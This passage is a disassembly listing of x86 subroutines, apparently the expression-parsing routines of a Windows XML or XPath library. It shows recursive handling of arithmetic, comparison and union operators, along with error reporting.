; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5FFCF proc near ; CODE XREF: sub_69B5538B+2Ap
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
xor ebx, ebx
xor eax, eax
cmp byte ptr [ebp+arg_8], bl
push esi
setz al
push ebx
lea ecx, [ebp+var_C]
inc eax
push eax
call sub_69B5EBCF
push [ebp+arg_8]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_1]
push eax
push [ebp+arg_4]
call sub_69B5EEC0
test al, al
jz short loc_69B6002F
mov al, [ebp+var_1]
neg al
push ebx
push [ebp+arg_C]
sbb eax, eax
and eax, 0Fh
push eax
push ebx
push [ebp+var_10]
push [ebp+var_14]
push [ebp+var_18]
push ebx
call sub_69B685B5
mov esi, eax
add eax, 10h
neg esi
sbb esi, esi
and esi, eax
jmp short loc_69B60051
; ---------------------------------------------------------------------------
loc_69B6002F: ; CODE XREF: sub_69B5FFCF+32j
push [ebp+arg_C]
push [ebp+arg_8]
call sub_69B3D17C
mov edx, [eax]
push ebx
push 4
push ebx
push [ebp+arg_4]
mov ecx, eax
call dword ptr [edx+38h]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+44h]
mov esi, eax
loc_69B60051: ; CODE XREF: sub_69B5FFCF+5Ej
cmp esi, ebx
jz short loc_69B60066
cmp [ebp+arg_0], ebx
jz short loc_69B60066
mov eax, [esi]
push ebx
push [ebp+arg_0]
mov ecx, esi
push ebx
call dword ptr [eax+48h]
loc_69B60066: ; CODE XREF: sub_69B5FFCF+84j
; sub_69B5FFCF+89j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_C]
mov [eax+1Ch], ecx
mov eax, esi
pop esi
pop ebx
leave
retn 10h
sub_69B5FFCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60077 proc near ; CODE XREF: sub_69B5FEEC+ACp
; sub_69B60077+A5p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
call sub_69B5EA61
xor ebx, ebx
cmp byte ptr [ebp+arg_8], bl
jz short loc_69B600A0
mov ecx, esi
call sub_69B5EADA
test al, al
jz short loc_69B600A0
dec dword ptr [esi+48h]
xor eax, eax
jmp loc_69B6015A
; ---------------------------------------------------------------------------
loc_69B600A0: ; CODE XREF: sub_69B60077+12j
; sub_69B60077+1Dj
mov eax, [esi+1Ch]
push edi
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
mov [ebp+var_4], eax
call sub_69B5FEEC
mov edi, eax
cmp edi, ebx
jz loc_69B60154
push ebx
push ebx
push [ebp+var_4]
mov ecx, esi
push edi
call sub_69B62F36
cmp dword ptr [esi+20h], 0FFFFFFFDh
mov [ebp+arg_0], eax
jnz short loc_69B60123
cmp byte ptr [ebp+arg_8], bl
jz short loc_69B600E0
loc_69B600D9: ; CODE XREF: sub_69B60077+B0j
; sub_69B60077+C7j ...
dec dword ptr [esi+48h]
mov eax, edi
jmp short loc_69B60159
; ---------------------------------------------------------------------------
loc_69B600E0: ; CODE XREF: sub_69B60077+60j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi+1Ch]
push ebx
push 1
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
mov [ebp+var_4], eax
call sub_69B60160
mov ecx, esi
mov edi, eax
call sub_69B5EADA
test al, al
jz short loc_69B60123
push ebx
push ebx
push [ebp+var_4]
push edi
call sub_69B62F36
push ebx
push [ebp+arg_4]
mov ecx, esi
push eax
call sub_69B60077
mov edi, eax
loc_69B60123: ; CODE XREF: sub_69B60077+5Bj
; sub_69B60077+91j
cmp dword ptr [esi+20h], 2Fh
jnz short loc_69B600D9
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp byte ptr [ebp+arg_8], bl
jz short loc_69B60140
mov ecx, esi
call sub_69B5EADA
test al, al
jnz short loc_69B600D9
loc_69B60140: ; CODE XREF: sub_69B60077+BCj
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B60077
mov edi, eax
jmp short loc_69B600D9
; ---------------------------------------------------------------------------
loc_69B60154: ; CODE XREF: sub_69B60077+41j
dec dword ptr [esi+48h]
xor eax, eax
loc_69B60159: ; CODE XREF: sub_69B60077+67j
pop edi
loc_69B6015A: ; CODE XREF: sub_69B60077+24j
pop esi
pop ebx
leave
retn 0Ch
sub_69B60077 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60160 proc near ; CODE XREF: sub_69B5FEEC+88p
; sub_69B60077+81p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = byte ptr 14h
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
mov eax, [esi+1Ch]
push edi
xor edi, edi
cmp [ebp+arg_C], 0
mov [ebp+var_4], eax
jz short loc_69B601D2
push 0FFFFFFB2h
push [ebp+arg_4]
push edi
call sub_69B5FB27
cmp dword ptr [esi+20h], 5Bh
mov edi, eax
jnz short loc_69B601C5
push [ebp+arg_8]
xor eax, eax
mov al, [esi+0Ch]
mov ecx, edi
push eax
push [ebp+arg_4]
mov eax, [edi]
call dword ptr [eax+44h]
push eax
push [ebp+arg_0]
call sub_69B69232
push [ebp+arg_4]
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
mov eax, [ecx]
call dword ptr [eax+5Ch]
push eax
push [ebp+arg_0]
mov ecx, esi
call sub_69B5F3B7
jmp short loc_69B6022A
; ---------------------------------------------------------------------------
loc_69B601C5: ; CODE XREF: sub_69B60160+27j
test edi, edi
jz short loc_69B601D2
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
jmp short loc_69B601D4
; ---------------------------------------------------------------------------
loc_69B601D2: ; CODE XREF: sub_69B60160+14j
; sub_69B60160+67j
xor eax, eax
loc_69B601D4: ; CODE XREF: sub_69B60160+70j
push 1
push [ebp+arg_4]
mov ecx, esi
push eax
call sub_69B60077
test eax, eax
jz short loc_69B601F6
push 0
push 2
push [ebp+var_4]
mov ecx, esi
push eax
call sub_69B6296C
jmp short loc_69B60205
; ---------------------------------------------------------------------------
loc_69B601F6: ; CODE XREF: sub_69B60160+83j
test edi, edi
jz short loc_69B60203
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
jmp short loc_69B60205
; ---------------------------------------------------------------------------
loc_69B60203: ; CODE XREF: sub_69B60160+98j
xor eax, eax
loc_69B60205: ; CODE XREF: sub_69B60160+94j
; sub_69B60160+A1j
push [ebp+arg_8]
xor ecx, ecx
mov cl, [esi+0Ch]
push ecx
push [ebp+arg_4]
push eax
push [ebp+arg_0]
call sub_69B69232
mov ecx, eax
add eax, 10h
neg ecx
sbb ecx, ecx
and ecx, eax
mov eax, [ecx]
call dword ptr [eax+5Ch]
loc_69B6022A: ; CODE XREF: sub_69B60160+63j
pop edi
pop esi
leave
retn 10h
sub_69B60160 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60230 proc near ; CODE XREF: sub_69B5FCE2+26p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push edi
mov edi, ecx
mov eax, [edi+20h]
cmp eax, 0FFFFFFBBh
jz short loc_69B6026A
cmp eax, 0FFFFFFBCh
jz short loc_69B6026A
cmp eax, 0FFFFFFBEh
jz short loc_69B6026A
cmp eax, 0FFFFFFBDh
jz short loc_69B6026A
cmp eax, 0FFFFFFBAh
jz short loc_69B6026A
cmp eax, 0FFFFFFB9h
jz short loc_69B6026A
cmp eax, 0FFFFFFB2h
jz short loc_69B6026A
cmp eax, 0FFFFFFB5h
jz short loc_69B6026A
xor eax, eax
jmp loc_69B60383
; ---------------------------------------------------------------------------
loc_69B6026A: ; CODE XREF: sub_69B60230+Ej
; sub_69B60230+13j ...
push ebx
push esi
mov esi, [edi+1Ch]
mov [ebp+var_4], eax
mov eax, [edi]
mov ecx, edi
mov [ebp+var_8], esi
call dword ptr [eax+44h]
push 0FFFFFFB1h
mov ecx, edi
call sub_69B5EB78
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
mov eax, [edi+20h]
xor ebx, ebx
cmp eax, 0FFFFFFFCh
jz short loc_69B602AA
cmp eax, 2Ah
jz short loc_69B602AA
push ebx
push ebx
push esi
push 0C00CE600h
mov ecx, edi
call sub_69B62488
loc_69B602AA: ; CODE XREF: sub_69B60230+64j
; sub_69B60230+69j
mov eax, [ebp+var_4]
cmp eax, 0FFFFFFB5h
jz loc_69B6034D
cmp eax, 0FFFFFFB9h
jz loc_69B60347
cmp eax, 0FFFFFFBAh
jz short loc_69B60333
cmp eax, 0FFFFFFBDh
mov ecx, edi
jz short loc_69B6030C
cmp eax, 0FFFFFFBEh
jz short loc_69B602FC
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B5FB27
mov esi, eax
cmp esi, ebx
jnz loc_69B6037F
push ebx
push ebx
push [ebp+var_8]
mov ecx, edi
push 0C00CE607h
call sub_69B62488
jmp loc_69B6037F
; ---------------------------------------------------------------------------
loc_69B602FC: ; CODE XREF: sub_69B60230+9Ej
push 0FFFFFFB2h
push [ebp+arg_4]
push ebx
call sub_69B5FB27
push ebx
push ebx
push ebx
jmp short loc_69B6031B
; ---------------------------------------------------------------------------
loc_69B6030C: ; CODE XREF: sub_69B60230+99j
push 0FFFFFFB2h
push [ebp+arg_4]
push ebx
call sub_69B5FB27
push ebx
push ebx
push 1
loc_69B6031B: ; CODE XREF: sub_69B60230+DAj
mov ecx, [edi+1Ch]
mov esi, eax
xor eax, eax
mov al, [edi+0Ch]
push eax
push ebx
push ebx
push ecx
push esi
mov ecx, edi
call sub_69B62F36
jmp short loc_69B6036B
; ---------------------------------------------------------------------------
loc_69B60333: ; CODE XREF: sub_69B60230+92j
push 1
push ebx
loc_69B60336: ; CODE XREF: sub_69B60230+11Bj
push [ebp+arg_4]
mov ecx, edi
push [ebp+arg_0]
call sub_69B60160
mov esi, eax
jmp short loc_69B6037F
; ---------------------------------------------------------------------------
loc_69B60347: ; CODE XREF: sub_69B60230+89j
push 1
push 1
jmp short loc_69B60336
; ---------------------------------------------------------------------------
loc_69B6034D: ; CODE XREF: sub_69B60230+80j
push 0FFFFFFB2h
push [ebp+arg_4]
mov ecx, edi
push ebx
call sub_69B5FB27
mov edx, [eax]
xor ecx, ecx
mov cl, [edi+0Ch]
push ebx
push 1
push ebx
push ecx
mov ecx, eax
call dword ptr [edx+44h]
loc_69B6036B: ; CODE XREF: sub_69B60230+101j
push eax
push [ebp+arg_0]
call sub_69B68C7E
mov esi, eax
add eax, 8
neg esi
sbb esi, esi
and esi, eax
loc_69B6037F: ; CODE XREF: sub_69B60230+B0j
; sub_69B60230+C7j ...
mov eax, esi
pop esi
pop ebx
loc_69B60383: ; CODE XREF: sub_69B60230+35j
pop edi
leave
retn 8
sub_69B60230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60388 proc near ; CODE XREF: sub_69B6048B+45p
; sub_69B6048B+D5p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, [esi+1Ch]
push edi
mov [ebp+var_4], eax
call sub_69B5EA61
mov eax, [esi+20h]
cmp eax, 2Fh
jnz short loc_69B603F9
xor eax, eax
mov al, [esi+0Ch]
push eax
call sub_69B6934C
mov edi, eax
add eax, 10h
neg edi
sbb edi, edi
and edi, eax
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+5Ch]
mov [ebp+arg_0], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
xor ebx, ebx
cmp [esi+20h], ebx
jnz short loc_69B603DA
mov eax, [ebp+arg_0]
jmp loc_69B60481
; ---------------------------------------------------------------------------
loc_69B603DA: ; CODE XREF: sub_69B60388+48j
push ebx
push [ebp+arg_4]
mov ecx, esi
push edi
call sub_69B60077
dec dword ptr [esi+48h]
cmp eax, ebx
jnz loc_69B60484
mov eax, [ebp+arg_0]
jmp loc_69B60484
; ---------------------------------------------------------------------------
loc_69B603F9: ; CODE XREF: sub_69B60388+1Aj
cmp eax, 0FFFFFFFDh
jnz short loc_69B60472
xor eax, eax
mov al, [esi+0Ch]
push eax
call sub_69B6934C
mov edi, eax
add eax, 10h
neg edi
sbb edi, edi
and edi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi+20h]
xor ebx, ebx
cmp eax, ebx
jz short loc_69B60429
cmp eax, 7Ch
jnz short loc_69B6043A
loc_69B60429: ; CODE XREF: sub_69B60388+9Aj
push ebx
push ebx
push [ebp+var_4]
mov ecx, esi
push 0C00CE60Dh
call sub_69B62488
loc_69B6043A: ; CODE XREF: sub_69B60388+9Fj
push ebx
push 1
push [ebp+arg_4]
mov ecx, esi
push edi
call sub_69B60160
mov ecx, esi
mov edx, eax
call sub_69B5EADA
test al, al
jz short loc_69B6046E
push ebx
push ebx
push [ebp+var_4]
push edx
call sub_69B62F36
push ebx
push [ebp+arg_4]
mov ecx, esi
push eax
call sub_69B60077
mov edx, eax
loc_69B6046E: ; CODE XREF: sub_69B60388+CBj
mov eax, edx
jmp short loc_69B60481
; ---------------------------------------------------------------------------
loc_69B60472: ; CODE XREF: sub_69B60388+74j
push 0
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B60077
loc_69B60481: ; CODE XREF: sub_69B60388+4Dj
; sub_69B60388+E8j
dec dword ptr [esi+48h]
loc_69B60484: ; CODE XREF: sub_69B60388+63j
; sub_69B60388+6Cj
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B60388 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6048B proc near ; CODE XREF: sub_69B6056F+1Bp
; sub_69B6056F+7Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
call sub_69B5EA61
cmp word ptr [esi+0Eh], 28h
mov ebx, [esi+1Ch]
jnz short loc_69B604B2
cmp dword ptr [esi+20h], 0FFFFFFFCh
jnz short loc_69B604B2
mov ecx, esi
call sub_69B5ED81
test al, al
jnz short loc_69B604DA
loc_69B604B2: ; CODE XREF: sub_69B6048B+14j
; sub_69B6048B+1Aj
mov eax, [esi+20h]
cmp eax, 24h
jz short loc_69B604DA
cmp eax, 28h
jz short loc_69B604DA
cmp eax, 0FFFFFFFAh
jz short loc_69B604DA
cmp eax, 0FFFFFFFBh
jz short loc_69B604DA
push [ebp+arg_4]
mov ecx, esi
push 0
call sub_69B60388
jmp loc_69B60566
; ---------------------------------------------------------------------------
loc_69B604DA: ; CODE XREF: sub_69B6048B+25j
; sub_69B6048B+2Dj ...
push edi
push [ebp+arg_4]
mov ecx, esi
push [ebp+arg_0]
call sub_69B5FD60
mov ecx, [esi+20h]
cmp ecx, 0FFFFFFFDh
jz short loc_69B60519
cmp ecx, 2Fh
jnz short loc_69B60565
xor edi, edi
push edi
push edi
push ebx
push eax
mov ecx, esi
call sub_69B62F36
mov ebx, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push edi
push [ebp+arg_4]
mov ecx, esi
push ebx
call sub_69B60077
jmp short loc_69B60565
; ---------------------------------------------------------------------------
loc_69B60519: ; CODE XREF: sub_69B6048B+63j
xor edi, edi
push edi
push edi
push ebx
push eax
mov ecx, esi
call sub_69B62F36
xor ecx, ecx
mov cl, [esi+0Ch]
push 1
push ecx
push [ebp+arg_4]
push edi
push eax
call sub_69B69232
mov ebx, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
mov eax, [esi+1Ch]
push edi
push edi
push eax
mov eax, ebx
add ebx, 8
neg eax
sbb eax, eax
and eax, ebx
push eax
mov ecx, esi
call sub_69B62F36
push [ebp+arg_4]
mov ecx, esi
push eax
call sub_69B60388
loc_69B60565: ; CODE XREF: sub_69B6048B+68j
; sub_69B6048B+8Cj
pop edi
loc_69B60566: ; CODE XREF: sub_69B6048B+4Aj
dec dword ptr [esi+48h]
pop esi
pop ebx
pop ebp
retn 8
sub_69B6048B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6056F proc near ; CODE XREF: sub_69B60622+27p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_69B5EA61
push [ebp+arg_4]
mov eax, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
mov [ebp+var_4], eax
call sub_69B6048B
cmp dword ptr [esi+20h], 7Ch
mov [ebp+var_8], eax
jnz short loc_69B60617
push edi
mov edi, 82h
push ebx
loc_69B6059F: ; CODE XREF: sub_69B6056F+A4j
test byte ptr [esi+54h], 1
jz short loc_69B605AB
cmp dword ptr [esi+50h], 1
jle short loc_69B60615
loc_69B605AB: ; CODE XREF: sub_69B6056F+34j
xor eax, eax
mov al, [esi+0Ch]
push eax
push 1
push 0
call sub_69B699F2
push 0
push edi
push [ebp+var_4]
mov ecx, esi
push [ebp+var_8]
mov ebx, eax
call sub_69B6296C
push eax
mov ecx, ebx
call sub_69B6969A
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
mov eax, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
mov [ebp+var_4], eax
call sub_69B6048B
push 0
push edi
push [ebp+var_4]
mov ecx, esi
push eax
call sub_69B6296C
push eax
mov ecx, ebx
call sub_69B6969A
lea ecx, [ebx+10h]
mov eax, [ecx]
call dword ptr [eax+5Ch]
cmp dword ptr [esi+20h], 7Ch
mov [ebp+var_8], eax
jz short loc_69B6059F
loc_69B60615: ; CODE XREF: sub_69B6056F+3Aj
pop ebx
pop edi
loc_69B60617: ; CODE XREF: sub_69B6056F+27j
dec dword ptr [esi+48h]
mov eax, [ebp+var_8]
pop esi
leave
retn 8
sub_69B6056F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60622 proc near ; CODE XREF: sub_69B60689+1Ap
; sub_69B60689+B0p
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
cmp dword ptr [esi+20h], 2Dh
push edi
mov [ebp+var_1], 0
jnz short loc_69B6063E
mov eax, [esi]
mov [ebp+var_1], 1
call dword ptr [eax+44h]
loc_69B6063E: ; CODE XREF: sub_69B60622+11j
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B6056F
cmp [ebp+var_1], 0
mov ebx, eax
jz short loc_69B60680
test ebx, ebx
jnz short loc_69B60669
push eax
push eax
push edi
push 0C00CE603h
mov ecx, esi
call sub_69B62488
loc_69B60669: ; CODE XREF: sub_69B60622+36j
push 0
push ebx
push 3
call sub_69B69D37
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov ebx, ecx
loc_69B60680: ; CODE XREF: sub_69B60622+32j
pop edi
pop esi
mov eax, ebx
pop ebx
leave
retn 8
sub_69B60622 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60689 proc near ; CODE XREF: sub_69B60781+1Ap
; sub_69B60781+64p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
call sub_69B5EA61
push [ebp+arg_4]
mov ebx, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60622
xor edx, edx
mov [ebp+var_8], eax
mov [ebp+var_4], edx
loc_69B606B0: ; CODE XREF: sub_69B60689+88j
; sub_69B60689+E6j
mov ecx, [esi+20h]
cmp ecx, 2Ah
jz short loc_69B606D8
cmp ecx, 0FFFFFFFCh
jnz loc_69B60774
mov eax, [esi+30h]
cmp eax, dword_69B9B2A0
jz short loc_69B606D8
cmp eax, dword_69B9B2A8
jnz loc_69B60774
loc_69B606D8: ; CODE XREF: sub_69B60689+2Dj
; sub_69B60689+41j
cmp ecx, 0FFFFFFFCh
jz short loc_69B606EB
cmp ecx, 2Ah
jnz short loc_69B6070E
mov [ebp+var_4], 6
jmp short loc_69B60713
; ---------------------------------------------------------------------------
loc_69B606EB: ; CODE XREF: sub_69B60689+52j
mov eax, [esi+30h]
cmp eax, dword_69B9B2A0
jnz short loc_69B606FF
mov [ebp+var_4], 5
jmp short loc_69B60713
; ---------------------------------------------------------------------------
loc_69B606FF: ; CODE XREF: sub_69B60689+6Bj
cmp eax, dword_69B9B2A8
jnz short loc_69B6070E
mov [ebp+var_4], 4
loc_69B6070E: ; CODE XREF: sub_69B60689+57j
; sub_69B60689+7Cj
cmp [ebp+var_4], edx
jz short loc_69B606B0
loc_69B60713: ; CODE XREF: sub_69B60689+60j
; sub_69B60689+74j
cmp [ebp+var_8], edx
jnz short loc_69B60727
push edx
push edx
push ebx
push 0C00CE603h
mov ecx, esi
call sub_69B62488
loc_69B60727: ; CODE XREF: sub_69B60689+8Dj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
mov ebx, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60622
mov edi, eax
test edi, edi
jnz short loc_69B60753
push eax
push eax
push ebx
push 0C00CE603h
mov ecx, esi
call sub_69B62488
loc_69B60753: ; CODE XREF: sub_69B60689+B9j
push edi
push [ebp+var_8]
push [ebp+var_4]
call sub_69B69D37
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov [ebp+var_8], ecx
xor edx, edx
jmp loc_69B606B0
; ---------------------------------------------------------------------------
loc_69B60774: ; CODE XREF: sub_69B60689+32j
; sub_69B60689+49j
dec dword ptr [esi+48h]
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B60689 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60781 proc near ; CODE XREF: sub_69B60828+1Ap
; sub_69B60828+A6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
call sub_69B5EA61
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60689
mov [ebp+var_4], eax
loc_69B607A3: ; CODE XREF: sub_69B60781+98j
mov eax, [esi+20h]
cmp eax, 2Bh
jz short loc_69B607B0
cmp eax, 2Dh
jnz short loc_69B6081B
loc_69B607B0: ; CODE XREF: sub_69B60781+28j
xor eax, eax
cmp [ebp+var_4], eax
jnz short loc_69B607C6
push eax
push eax
push edi
push 0C00CE603h
mov ecx, esi
call sub_69B62488
loc_69B607C6: ; CODE XREF: sub_69B60781+34j
xor eax, eax
cmp dword ptr [esi+20h], 2Bh
mov ecx, esi
setnz al
inc eax
mov [ebp+var_8], eax
mov eax, [esi]
call dword ptr [eax+44h]
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60689
mov ebx, eax
test ebx, ebx
jnz short loc_69B607FF
push eax
push eax
push edi
push 0C00CE603h
mov ecx, esi
call sub_69B62488
loc_69B607FF: ; CODE XREF: sub_69B60781+6Dj
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_69B69D37
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov [ebp+var_4], ecx
jmp short loc_69B607A3
; ---------------------------------------------------------------------------
loc_69B6081B: ; CODE XREF: sub_69B60781+2Dj
dec dword ptr [esi+48h]
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B60781 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60828 proc near ; CODE XREF: sub_69B60916+1Ap
; sub_69B60916+80p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
call sub_69B5EA61
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60781
xor ebx, ebx
mov [ebp+var_8], eax
mov [ebp+var_4], ebx
loc_69B6084F: ; CODE XREF: sub_69B60828+92j
; sub_69B60828+DCj
mov eax, [esi+20h]
cmp eax, 3Ch
jz short loc_69B6086A
cmp eax, 0FFFFFFF8h
jz short loc_69B6086A
cmp eax, 3Eh
jz short loc_69B6086A
cmp eax, 0FFFFFFF7h
jnz loc_69B60909
loc_69B6086A: ; CODE XREF: sub_69B60828+2Dj
; sub_69B60828+32j ...
cmp [ebp+var_8], ebx
jnz short loc_69B6087E
push ebx
push ebx
push edi
push 0C00CE606h
mov ecx, esi
call sub_69B62488
loc_69B6087E: ; CODE XREF: sub_69B60828+45j
mov eax, [esi+20h]
cmp eax, 0FFFFFFF7h
jz short loc_69B608B0
cmp eax, 0FFFFFFF8h
jz short loc_69B608A7
cmp eax, 3Ch
jz short loc_69B6089E
cmp eax, 3Eh
jnz short loc_69B608B7
mov [ebp+var_4], 4
jmp short loc_69B608BC
; ---------------------------------------------------------------------------
loc_69B6089E: ; CODE XREF: sub_69B60828+66j
mov [ebp+var_4], 1
jmp short loc_69B608BC
; ---------------------------------------------------------------------------
loc_69B608A7: ; CODE XREF: sub_69B60828+61j
mov [ebp+var_4], 3
jmp short loc_69B608BC
; ---------------------------------------------------------------------------
loc_69B608B0: ; CODE XREF: sub_69B60828+5Cj
mov [ebp+var_4], 6
loc_69B608B7: ; CODE XREF: sub_69B60828+6Bj
cmp [ebp+var_4], ebx
jz short loc_69B6084F
loc_69B608BC: ; CODE XREF: sub_69B60828+74j
; sub_69B60828+7Dj ...
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60781
mov ebx, eax
test ebx, ebx
jnz short loc_69B608E8
push eax
push eax
push edi
push 0C00CE606h
mov ecx, esi
call sub_69B62488
loc_69B608E8: ; CODE XREF: sub_69B60828+AFj
push ebx
push [ebp+var_8]
push [ebp+var_4]
call sub_69B69E36
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov [ebp+var_8], ecx
xor ebx, ebx
jmp loc_69B6084F
; ---------------------------------------------------------------------------
loc_69B60909: ; CODE XREF: sub_69B60828+3Cj
dec dword ptr [esi+48h]
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 8
sub_69B60828 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B60916 proc near ; CODE XREF: sub_69B609DE+19p
; sub_69B609DE+61p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov esi, ecx
call sub_69B5EA61
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60828
xor ebx, ebx
mov [ebp+var_8], eax
mov [ebp+var_4], ebx
loc_69B6093D: ; CODE XREF: sub_69B60916+6Cj
; sub_69B60916+B6j
mov eax, [esi+20h]
cmp eax, 3Dh
jz short loc_69B6094E
cmp eax, 0FFFFFFF9h
jnz loc_69B609D1
loc_69B6094E: ; CODE XREF: sub_69B60916+2Dj
cmp [ebp+var_8], ebx
jnz short loc_69B60962
push ebx
push ebx
push edi
push 0C00CE606h
mov ecx, esi
call sub_69B62488
loc_69B60962: ; CODE XREF: sub_69B60916+3Bj
mov eax, [esi+20h]
cmp eax, 0FFFFFFF9h
jz short loc_69B60978
cmp eax, 3Dh
jnz short loc_69B6097F
mov [ebp+var_4], 2
jmp short loc_69B60984
; ---------------------------------------------------------------------------
loc_69B60978: ; CODE XREF: sub_69B60916+52j
mov [ebp+var_4], 5
loc_69B6097F: ; CODE XREF: sub_69B60916+57j
cmp [ebp+var_4], ebx
jz short loc_69B6093D
loc_69B60984: ; CODE XREF: sub_69B60916+60j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
push [ebp+arg_4]
mov edi, [esi+1Ch]
push [ebp+arg_0]
mov ecx, esi
call sub_69B60828
mov ebx, eax
test ebx, ebx
jnz short loc_69B609B0
push eax
push eax
push edi
push 0C00CE606h
mov ecx, esi
call sub_69B62488
loc_69B609B0: ; CODE XREF: sub_69B60916+89j
push ebx
push [ebp+var_8]
push [ebp+var_4]
call sub_69B69E36
mov ecx, eax
add eax, 8
neg ecx
sbb ecx, ecx
and ecx, eax
mov [ebp+var_8], ecx
xor ebx, ebx
jmp loc_69B6093D
; ---------------------------------------------------------------------------
loc_69B609D1: ; CODE XREF: sub_69B60916+32j
dec dword ptr [esi+48h]
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
